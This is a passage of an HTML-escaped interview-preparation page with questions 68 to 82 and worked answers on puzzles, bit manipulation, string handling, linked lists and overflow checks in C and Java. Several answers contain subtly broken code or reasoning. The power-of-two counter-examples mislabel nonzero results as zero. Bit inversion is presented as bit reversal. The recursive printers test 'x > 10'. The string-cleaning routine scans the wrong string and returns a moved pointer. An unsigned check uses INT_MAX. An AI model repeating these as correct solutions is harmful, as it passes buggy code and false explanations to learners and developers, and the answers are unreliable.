&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt68a&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
&lt;span style=&quot;color: red;&quot;&gt;TODO&lt;/span&gt;
&lt;/p&gt;
&lt;p&gt;
Good solution on &lt;br&gt;
&lt;a href=&quot;http://stackoverflow.com/questions/1056316/algorithm-for-determining-tic-tac-toe-game-over-java&quot;&gt;http://stackoverflow.com/questions/1056316/algorithm-for-determining-tic-tac-toe-game-over-java&lt;/a&gt;
&lt;/p&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt68b&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;68.b.&lt;/b&gt; In a X&apos;s and 0&apos;s game (i.e. TIC TAC TOE) if you write a program for this give a fast way to generate the moves by the computer. 
I mean this should be the fastest way possible.
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt68b&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
One approach is that you need to store all possible configurations of the board and the move that is associated with that. Then it boils down to just accessing the 
right element and getting the corresponding move for it. Do some analysis and do some more optimization in storage since otherwise it becomes infeasible to get 
the required storage in a DOS machine.
&lt;/p&gt;
&lt;p&gt;
A tree storing all possible games with positions played each time would take this much storage: 9! = 362&apos;880 nodes. One could then ask at each level of the tree which 
of the subtree has the max count of wining games and then choose the next move accordingly. &lt;br&gt;
(count of wining games for a node is the sum of the count of wining games of each of its sub-trees or 1 if the node is a wining game itself)&lt;br&gt;
&lt;b&gt;This seems to be the fastest possible way&lt;/b&gt; yet by sacrificing the required storage.
&lt;/p&gt;
&lt;p&gt;
My idea that optimizes storage as much as possible is to store each possible game this way : 01010101, i.e. 9 positions of 0 or 1 for O or X. The problem with this is that 
it doesn&apos;t store the order of each play. An exact approach&lt;br&gt;
An algorithm could then run this way (somewhat probabilistic approach)&lt;br&gt;
&lt;/p&gt;
&lt;pre&gt;
- At each move
     - Find all games mathing current start game &lt;br&gt;
      (all of them at first)
    - In these games, find all games in which I am victorious
      (since all board are always completely filled, i consider victorious games where I have the single line 
	  or games where I have more lines that the opponent)
    - In all these games, find my position that comes most often (find the byte that it is the most often set)
    - Play that move
&lt;/pre&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt69&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;69.&lt;/b&gt; There are 3 ants at 3 corners of a triangle, they randomly start moving towards another corner.. what is the probability that they don&apos;t collide. 
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt69&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
The probability is 25% because there are 3 ants all with 
two possible paths and 8 total possible outcomes.  But 
there are two possible outcomes that the ants don&apos;t 
collide.  Either they move one way or the other.  2/8 = 25%.
&lt;/p&gt;
&lt;p&gt;
Each ant can move in 2 directions. Lets say direction are
Left (L) and Right (R). Solution if all ants move either
towards L or R. For L (1/2 * 1/2 * 1/2) = 1/8. Same for R =
1/8. Total for L and R = 1/8 + 1/8 = 1/4.
&lt;/p&gt;
&lt;p&gt;
Provided as example:
&lt;/p&gt;
&lt;pre&gt;
                      A
                    0/ \1
                    /   \
                   /     \
                 1/       \0  
                  B0-----1C

&lt;/pre&gt;
&lt;p&gt;
Karnaugh table is as follows
&lt;/p&gt;
&lt;pre&gt;
ABC  | Collide ?
----------------
000  |  0
001  |  1
010  |  1
011  |  1
100  |  1
101  |  1
110  |  1
111  |  0
&lt;/pre&gt;
&lt;p&gt;
Which confirms: there are 2/8 = 1/4 chance they don&apos;t collide while they collide 6/8 = 3/4 times.
&lt;/p&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt70&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;70.&lt;/b&gt; There are 4 men who want to cross a bridge. They all begin on the same side. You have 17 minutes to get all of them across to the other side. It is night. There is one flashlight. A maximum of two people can cross at one time. Any party who crosses, either 1 or 2 people, must have the flashlight with them. The flashlight must be walked back and forth, it cannot be thrown, etc. Each man walks at a different speed. A pair must walk together at the rate of the slower mans pace.&lt;br&gt;
Man 1: 1 minute to cross&lt;br&gt;
Man 2: 2 minutes to cross&lt;br&gt;
Man 3: 5 minutes to cross&lt;br&gt;
Man 4: 10 minutes to cross
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt70&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;pre&gt;
a) 1 and 2 cross together    : 3,4     -&gt; 1,2      - 2 min
b) 1 comes back              : 1,3,4   &amp;lt;- 2        - 1 min
c) 3 and 4 cross together    : 1       -&gt; 2,3,4    - 10 min
d) 2 comes back              : 1,2     &amp;lt;- 3,4      - 2 min
e) 1 and 2 cross together    :         -&gt; 1,2,3,4  - 2 min
&lt;/pre&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt71&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;71.&lt;/b&gt; Give a one-line C expression to test whether a number is a power of 2. (No loops allowed - it&apos;s a simple test.) 
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt71&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
&lt;b&gt;First idea:&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
2^x = n =&gt; x = log_2 (n)&lt;br&gt;
Then, if n is a power of 2, then x is an integer &lt;br&gt;
if x is integer then x % 1 = 0
&lt;/p&gt;
&lt;p&gt;
One can then use &lt;code&gt;2^((int)log_2(n)) == n&lt;/code&gt; as a condition.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Better:&lt;/b&gt; (no need to use a log_2 function in C)
&lt;/p&gt;
&lt;p&gt;
A power of 2 has only one bit set to 1 and all other to 0 (also value intger 1 which need to be checked). &lt;br&gt;
Let&apos;s name x that power of 2. 
&lt;/p&gt;
&lt;p&gt;
In this case, the value (x - 1) has other bytes set to 1, always. It never has the same byte set to 1.&lt;br&gt;
hence x &amp; (x - 1) == 0, always (&amp; = &quot;bitwise and&quot;).
&lt;/p&gt;
&lt;p&gt;
Examples:
&lt;/p&gt;
&lt;pre&gt;
          x = 0010 0000 = 32
        x-1 = 0001 1111 = 31
x &amp; (x - 1) = 0000 0000 = 0

          x = 0000 1000 = 8
        x-1 = 0000 0111 = 7
x &amp; (x - 1) = 0000 0000 = 0
&lt;/pre&gt;
&lt;p&gt;
Counter examples (for numbers not a power of 2)
&lt;/p&gt;
&lt;pre&gt;
          x = 0110 0000 = 96
        x-1 = 0101 1111 = 95
x &amp; (x - 1) = 0100 0000 = 0

          x = 0000 0110 = 6
        x-1 = 0000 0101 = 5
x &amp; (x - 1) = 0100 0000 = 0
&lt;/pre&gt;
&lt;p&gt;
We can hence come up with a one-line expression this way: &lt;code&gt;((n &gt; 1) &amp;&amp; !(n &amp; n-1))&lt;/code&gt;
&lt;/p&gt;
&lt;p&gt;
Source : &lt;a href=&quot;http://answers.yahoo.com/question/index?qid=20080711094134AAyQ2vg&quot;&gt;http://answers.yahoo.com/question/index?qid=20080711094134AAyQ2vg&lt;/a&gt;
&lt;/p&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt72&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;72.&lt;/b&gt; Give a very good method to count the number of ones in a 32 bit number.
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt72&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
&lt;b&gt;Solution A&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Brian Kernighan&apos;s method goes through as many iterations as there are set bits. So if we have a 32-bit word with only the high bit set, then it will only go once through the loop.
&lt;/p&gt;

&lt;pre&gt;
&lt;b&gt;long&lt;/b&gt; count_bits(long n) {      
     &lt;b&gt;unsigned int&lt;/b&gt; c;    // c accumulates the total bits set in v
     &lt;b&gt;for&lt;/b&gt; (c = 0; n; c++) 
          n &amp;= n - 1;   // clear the least significant bit set
     &lt;b&gt;return&lt;/b&gt; c;
}
&lt;/pre&gt;
&lt;p&gt;
Note that this is a question used during interviews. The interviewer will add the caveat that you have &quot;infinite memory&quot;. In that case, you basically create an array of size 232 and 
fill in the bit counts for the numbers at each location. Then, this function becomes O(1).
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Solution B&lt;/b&gt; (easier to understand)
&lt;/p&gt;
&lt;p&gt;
In my opinion, the &quot;best&quot; solution is the one that can be read by another programmer (or the original programmer two years later) without copious comments. You may well want the 
fastest or cleverest solution which some have already provided but I prefer readability over cleverness any time.
&lt;/p&gt;
&lt;pre&gt;
&lt;b&gt;unsigned int&lt;/b&gt; bitCount (&lt;b&gt;unsigned int&lt;/b&gt; value) {
     &lt;b&gt;unsigned int&lt;/b&gt; count = 0;
     &lt;b&gt;while&lt;/b&gt; (value &gt; 0) {          // until all bits are zero
          &lt;b&gt;if&lt;/b&gt; ((value &amp; 1) == 1)   // check lower bit
                count++;
          value &gt;&gt;= 1;            // shift bits, removing lower bit
     }
     &lt;b&gt;return&lt;/b&gt; count;
}
&lt;/pre&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt73&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;73.&lt;/b&gt; Given two strings S1 and S2. Delete from S2 all those characters which occur in S1 also and finally create a clean S2 with the relevant characters deleted.
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt73&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
&lt;b&gt;First &lt;i&gt;naive&lt;/i&gt; idea&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
First naive idea consists in O(m x n) looping through the first string, then through the second string, deleting every character that appears.&lt;br&gt;
Hence the following code in C:
&lt;/p&gt;
&lt;pre&gt;
&lt;b&gt;void&lt;/b&gt; trimString() {

     &lt;b&gt;char&lt;/b&gt; s1[] = &quot;hello world&quot;;
     &lt;b&gt;char&lt;/b&gt; s2[] = &quot;el&quot;;
     &lt;b&gt;int&lt;/b&gt; i, j;
     
     &lt;b&gt;for&lt;/b&gt; (i = 0; i &amp;lt; (&lt;b&gt;signed&lt;/b&gt;)strlen(s1); i++) {
          &lt;b&gt;for&lt;/b&gt; (j = 0; j &amp;lt; (&lt;b&gt;signed&lt;/b&gt;)strlen(s2); j++) {
                &lt;b&gt;if&lt;/b&gt; (s1[i] == s2[j]) {
                     s1[i] = -1;
                     &lt;b&gt;break&lt;/b&gt;;
                }
          }
     }
     
     &lt;b&gt;for&lt;/b&gt; (i = 0, j = 0; i &amp;lt; (&lt;b&gt;signed&lt;/b&gt;)strlen(s1); i++) {
          &lt;b&gt;if&lt;/b&gt; (s1[i] != -1) {
                s1[j] = s1[i];
                j++;
          }
     }
     s1[j] = &apos;\0&apos;;
     printf(&quot;\nString is%s&quot;, s1);
}
&lt;/pre&gt;
&lt;p&gt;
&lt;b&gt;Better idea using a hastable&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Since you are looking for characters only, we can try using a hash table of size 256. One should note that it&apos;s not exactly a hash table since we have as many 
entries as elements in the table and the hash function is rather returning the element itself.
&lt;/p&gt;
&lt;pre&gt;
&lt;b&gt;char&lt;/b&gt; *DeleteAndClean (&lt;b&gt;char&lt;/b&gt; *s1, &lt;b&gt;char&lt;/b&gt; *s2) {
     &lt;b&gt;char&lt;/b&gt; hash[256];
     &lt;b&gt;int&lt;/b&gt; i;
     
     &lt;b&gt;for&lt;/b&gt;(i = 0; i &amp;lt; 256; i ++) 
          hash[i] = 0; // Init Hash
    
     &lt;b&gt;char&lt;/b&gt; *t = s1;
     &lt;b&gt;while&lt;/b&gt; (*t) {
          hash[*t] = 1; // populate hash
          t++;
     }

     size_t count = 0;
     size_t cleanlen = 0
     
     // Iteration 1: compute length of result string
     t = s2;
     &lt;b&gt;while&lt;/b&gt; (*t) {         
          &lt;b&gt;if&lt;/b&gt; (hash[*t] == 1)
                count++;
          &lt;b&gt;else&lt;/b&gt;
                cleanlen++;
          t++;
     }
    
     cleanlen++; // Include space for null Terminator
     if (count == 0) 
          &lt;b&gt;return&lt;/b&gt; strdup(s2);

     // dynamically allocate new space for result
     &lt;b&gt;char&lt;/b&gt;* clean = (&lt;b&gt;char&lt;/b&gt;*) malloc(&lt;b&gt;sizeof&lt;/b&gt;(&lt;b&gt;char&lt;/b&gt;) * cleanlen);
    
     if (!clean) 
          &lt;b&gt;throw&lt;/b&gt; out_of_mem_exception;
     t = s1;

     // Iteration 2: build result
     &lt;b&gt;while&lt;/b&gt; (*t) {
          &lt;b&gt;if&lt;/b&gt; (hash[*t] == 0)
                *clean++ = *t;
          t++;
     }

     *clean = &apos;\0&apos;;
     &lt;b&gt;return&lt;/b&gt; clean;
} 
&lt;/pre&gt;
&lt;p&gt;
Should the additional memory required to return the value be an issue (since it&apos;s O(n) space), one can use the same idea than in the former algorithm and use a destructive 
approach on the string given as argument.
&lt;/p&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt74&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;74.&lt;/b&gt; Determine the 10 most frequent words given a terabyte of strings.
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt74&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
Use MapReduce &lt;a href=&quot;http://en.wikipedia.org/wiki/MapReduce&quot;&gt;http://en.wikipedia.org/wiki/MapReduce&lt;/a&gt;.
&lt;/p&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt75a&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;75.a&lt;/b&gt; Given only putchar (no sprintf, itoa, etc.) write a routine putlong that prints out an unsigned long in decimal.
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt75a&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
There are two problems to be solved:
&lt;/p&gt;
&lt;ol&gt;
     &lt;li&gt;the long value must be decomposed in each of its decimal position for them to be printed individualy&lt;/li&gt;
     &lt;li&gt;A decimal (0-9) must be converted to a char in order to be printed with put char
&lt;/ol&gt;
&lt;p&gt;
These two problems are easily solved this way:
&lt;/p&gt;
&lt;ol&gt;
     &lt;li&gt;Either an iterative (using an array) or a recursive (discarding the need of an array in favor of a usage of 
         the stack) to decompose the long number. Use division by 10 and remainder (modulo) to proceed with the decomposition&lt;/li&gt;
    &lt;li&gt;Converting a [0-9] number to a char in ASCII or UTF-8 is easy. One only needs to add the ASCI number mathing &apos;0&apos; to the 
         decimal number and one gets the ASCII number of the decimal number (No need to know where the numbers start in the ASCII 
         sequence).&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;
Hence the following code in C:
&lt;/p&gt;
&lt;pre&gt;
&lt;b&gt;#include&lt;/b&gt;&amp;lt;stdio.h&gt;
&lt;b&gt;#include&lt;/b&gt;&amp;lt;string.h&gt;

&lt;b&gt;void&lt;/b&gt; printInt(&lt;b&gt;unsigned long&lt;/b&gt; x){
    &lt;b&gt;if&lt;/b&gt; (x &gt; 10){
        printInt(x / 10);
    }
    //putchar(x % 10 + &apos;0&apos;); // Both will work fine
    putchar(x % 10 + 48);
}

&lt;b&gt;int&lt;/b&gt; main(){
     &lt;b&gt;long int&lt;/b&gt; a;
     printf(&quot; Enter integer value : &quot;);
     scanf(&quot;%d&quot;,&amp;a);
     printf(&quot;\n&quot;);
     printInt(a);
     &lt;b&gt;return&lt;/b&gt; 0;
}
&lt;/pre&gt;
&lt;/div&gt;


&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt75b&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;75.b.&lt;/b&gt; Write a function to convert an int to a string. 
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt75b&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
&lt;b&gt;Very similar to the problem above&lt;/b&gt;. The very same approach can be used.
&lt;/p&gt;
&lt;pre&gt;
&lt;b&gt;#include&lt;/b&gt;&amp;lt;stdio.h&gt;
&lt;b&gt;#include&lt;/b&gt;&amp;lt;string.h&gt;

&lt;b&gt;void&lt;/b&gt; toString(&lt;b&gt;unsigned long&lt;/b&gt; x, char* result){
    &lt;b&gt;if&lt;/b&gt; (x &gt; 10){
        toString(x / 10, result);
    }
    int len = strlen(result);
    result[len] = (x % 10) + &apos;0&apos;;
    result[len + 1] = \0;
}
&lt;/pre&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt76&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;76.&lt;/b&gt; How many points are there on the globe where by walking one mile south, one mile east and one mile north you reach the place where you started. 
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt76&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
&lt;b&gt;1.&lt;/b&gt; The North Pole is one such place that you can walk one mile South, one mile East, one mile North and end up where you started.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;2.&lt;/b&gt; Somewhere near the South pole, there is also a point where once you walk one mile South, you are standing at the point on the globe where the Earth&apos;s 
circumference is one mile.  That way once you walk one mile East, you arrive back to where you started walking East.  
&lt;br&gt;Of course, one mile North from there puts you back at your starting point.
&lt;/p&gt;
&lt;p&gt;
In fact, there are an infinite number of points where this is true.  Take the preceding case, but instead of using the place where the circumference of the 
earth is one mile, use the place where the circumference of the earth is 1/2 mile and start one mile north from there.  When you walk one mile East, 
you simply walk around the globe twice and end up in the same spot.  &lt;br&gt;
This will work for a circumference of 1/3 mile, 1/4 mile, 1/5 mile, etc to infinity.
&lt;/p&gt;
&lt;p&gt;
Source : &lt;a href=&quot;http://makezine.com/images/06/onemilesouth.html&quot;&gt;http://makezine.com/images/06/onemilesouth.html&lt;/a&gt;
&lt;/p&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt77&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;77.&lt;/b&gt; You have a cycle in linked list. Find it. Prove that time complexity is linear. Also find the node at which looping takes place.
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt77&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
Another way the question is asked is &quot;How can you find out if there is a loop in a very long list?&quot;
&lt;/p&gt;
&lt;p&gt;
Browse the list marking each node as visited. Stop whenever a node is encountered that is already marked (there is the loop). 
If the end of the list is reached then there is no loop.
&lt;/p&gt;
&lt;p&gt;
Add one boolean field in structure of node as visited and initialised it will FALSE. Now start travesing the list and upon next element visit, 
make this boolean filed as true and before making it as true check if it is already TRUE or not. In case if it is true than there is certainly loop.
&lt;/p&gt;

&lt;pre&gt;
&lt;b&gt;while&lt;/b&gt; (current -&gt;next != NULL) &lt;b&gt;do&lt;/b&gt;
    &lt;b&gt;if&lt;/b&gt; (current-&gt;visited == TRUE) &lt;b&gt;then&lt;/b&gt;
        printf(&quot;LOOP in LL found&quot;);
        &lt;b&gt;break&lt;/b&gt;;
    &lt;b&gt;else&lt;/b&gt;
        current-&gt;visited = TRUE;
        current = current-&gt;next;
    &lt;b&gt;end if&lt;/b&gt;
&lt;b&gt;end do&lt;/b&gt;
&lt;/pre&gt;
&lt;p&gt;
This runs in O(n).
&lt;/p&gt;
&lt;p&gt;
Whenever this list structure cannot be modified, use a hash table or a B-Tree to store the visited flag. &lt;br&gt;
In this case the algorithm becomes O(n log n)
&lt;/p&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt78a&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;78.a.&lt;/b&gt; Reverse each bit in a number.
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt78a&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
This is as easy as XORing the number with a mask made only of 1s.
&lt;/p&gt;
&lt;p&gt;
For instance for a 32 bits integer:
&lt;/p&gt;
&lt;pre&gt;
unsigned int n = 12345..;
unsigned int mask = 0xFFFFFFFF;
unsigned int result = n ^ mask; 
&lt;/pre&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt78b&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;78.b.&lt;/b&gt; How would you reverse the bits of a number with log N arithmetic operations, where N is the number of bits in the integer (eg 32,64..)
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt78b&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
Let&apos;s use the XOR method on each 4 bit of the whole number. &lt;br&gt;
Use the XOR on the four right-most bits then shift 4 bits right. Continue as long as number != 0.
&lt;/p&gt;
&lt;p&gt;
&lt;span style=&quot;color: red;&quot;&gt;TODO&lt;/span&gt;
&lt;/p&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt79&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;79.&lt;/b&gt; A character set has 1 and 2 byte characters. One byte characters have 0 as the first bit. You just keep accumulating the characters in a buffer. &lt;br&gt;
Suppose at some point the user types a backspace, how can you remove the character efficiently. &lt;br&gt;
(Note: You can&apos;t store the last character typed because the user can type in arbitrarily many backspaces)
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt79&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
I assume a two-bytes character never has 0 as its first bit, but always 1.
&lt;/p&gt;
&lt;p&gt;
Hence one only needs to check the previous byte. 
&lt;/p&gt;

&lt;ul&gt;
    &lt;li&gt;If last byte starts with 0 and previous byte starts with 0 then delete last byte only&lt;/li&gt;
    &lt;li&gt;If last byte starts with 1 and previous byte starts with 0 then crash (current byte is only half of the two-bytes character)&lt;/li&gt;
    &lt;li&gt;Otherwise (previous byte starts with 1 and last byte starts with whatever) delete both the last and the previous byte&lt;/li&gt;
&lt;/ul&gt;

&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt80&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;80.&lt;/b&gt; What&apos;s the simplest way to check if the sum of two unsigned integers has resulted in an overflow. 
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt80&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
&lt;b&gt;1. First idea : &lt;/b&gt;actually do the operation and check result
&lt;/p&gt;
&lt;p&gt;
If adding both numbers result in an overflow, then the result is necessarily below both numbers. &lt;br&gt;
(Let&apos;s imagine INT_MAX_VALUE = 10, then 9 + 2 = 11 =&gt; 1 with 1 &amp;lt; 9 and 1 &amp;lt; 2)
&lt;/p&gt;
&lt;p&gt;
One can hence use the following code:
&lt;/p&gt;

&lt;pre&gt;
uint32_t x, y;
uint32_t value = x + y;
&lt;b&gt;bool&lt;/b&gt; overflow = value &amp;lt; x; // Alternatively &quot;value &amp;lt; y&quot; should also work
&lt;/pre&gt;
&lt;p&gt;
&lt;b&gt;2. Second idea : &lt;/b&gt;no need to actually perform the comparison but need to have access to MIN/MAX_VALUE constants
&lt;/p&gt;
&lt;pre&gt;
&lt;b&gt;unsigned int&lt;/b&gt; si1, si2, sum;
 
/* Initialize si1 and si2 */
 
&lt;b&gt;if&lt;/b&gt; (  si1 &gt; (INT_MAX - si2)) {
   /* handle error condition */
} &lt;b&gt;else&lt;/b&gt; {
  sum = si1 + si2;
}
&lt;/pre&gt;
&lt;p&gt;
&lt;b&gt;For signed integers&lt;/b&gt; : the solution is only a little more complicated:
&lt;/p&gt;

&lt;pre&gt;
&lt;b&gt;signed int&lt;/b&gt; si1, si2, sum;
 
/* Initialize si1 and si2 */
 
&lt;b&gt;if&lt;/b&gt; (   ((si2 &gt; 0) &amp;&amp; (si1 &gt; (INT_MAX - si2)))
    || ((si2 &amp;lt; 0) &amp;&amp; (si1 &amp;lt; (INT_MIN - si2)))) {
   /* handle error condition */
} &lt;b&gt;else&lt;/b&gt; {
  sum = si1 + si2;
}
&lt;/pre&gt;
&lt;p&gt;
Source : &lt;a href=&quot;http://www.fefe.de/intof.html&quot;&gt;http://www.fefe.de/intof.html&lt;/a&gt;&lt;br&gt;
and &lt;a href=&quot;http://stackoverflow.com/questions/199333/best-way-to-detect-integer-overflow-in-c-c&quot;&gt;http://stackoverflow.com/questions/199333/best-way-to-detect-integer-overflow-in-c-c&lt;/a&gt;
&lt;/p&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt81&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;81.&lt;/b&gt; Devise an algorithm for detecting whether a given string is a palindrome (spelled the same way forwards and backwards). &lt;br&gt;
For example, &quot;A man, a plan, a canal, Panama.&quot; 
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt81&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
This is simple. One only need to browse the string with a pointer from start forward and from end backward. &lt;br&gt;
Whenever a character is encountered, make sure both pointers point to the same character (case insensitive)
&lt;/p&gt;
&lt;p&gt;
Hence the following algorithm in Java:
&lt;/p&gt;

&lt;pre&gt;
    &lt;b&gt;static public boolean&lt;/b&gt; isPalindrome (String s) {
        
        &lt;b&gt;int&lt;/b&gt; len = s.length();
        
        &lt;b&gt;int&lt;/b&gt; start = 0;
        &lt;b&gt;int&lt;/b&gt; end = len - 1;
        
        &lt;b&gt;while&lt;/b&gt; (&lt;b&gt;true&lt;/b&gt;) {
            
            // stop condition
            &lt;b&gt;if&lt;/b&gt; (start &gt;= end) {
                &lt;b&gt;return true&lt;/b&gt;;
            }
            
            &lt;b&gt;char&lt;/b&gt; charStart = 0;
            &lt;b&gt;do&lt;/b&gt; {
                charStart = Character.toLowerCase(s.charAt(start++));
                &lt;b&gt;if&lt;/b&gt; (start &gt;= len) {
                    &lt;b&gt;return true&lt;/b&gt;;
                }
            } &lt;b&gt;while&lt;/b&gt; (   charStart == &apos; &apos; || charStart == &apos;,&apos; || charStart == &apos;.&apos; 
			                || charStart == &apos;\&apos;&apos; || charStart == &apos;\n&apos;);
            
            &lt;b&gt;char&lt;/b&gt; charEnd = 0;
            &lt;b&gt;do&lt;/b&gt; {
                charEnd = Character.toLowerCase(s.charAt(end--));
                &lt;b&gt;if&lt;/b&gt; (end &amp;lt; 0) {
                    &lt;b&gt;return true&lt;/b&gt;;
                }
            } &lt;b&gt;while&lt;/b&gt; (   charEnd == &apos; &apos; || charEnd == &apos;,&apos; || charEnd == &apos;.&apos; 
			                || charEnd == &apos;\&apos;&apos; || charEnd == &apos;\n&apos;);
            
            &lt;b&gt;if&lt;/b&gt; (charStart != charEnd) {
                &lt;b&gt;return false&lt;/b&gt;;
            }
        }
    }
&lt;/pre&gt;
&lt;p&gt;
Running in time complexity O(n) and space complexity O(1).
&lt;/p&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt82&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;82.&lt;/b&gt; Write a function to find the depth of a binary tree. 
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt82&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
The depth of a tree is the maximum of the depth of its sub-trees plus 1 for the root node. A recursive approach makes more sense.
&lt;/p&gt;
&lt;p&gt;
hence the following pseudo-code:
&lt;/p&gt;
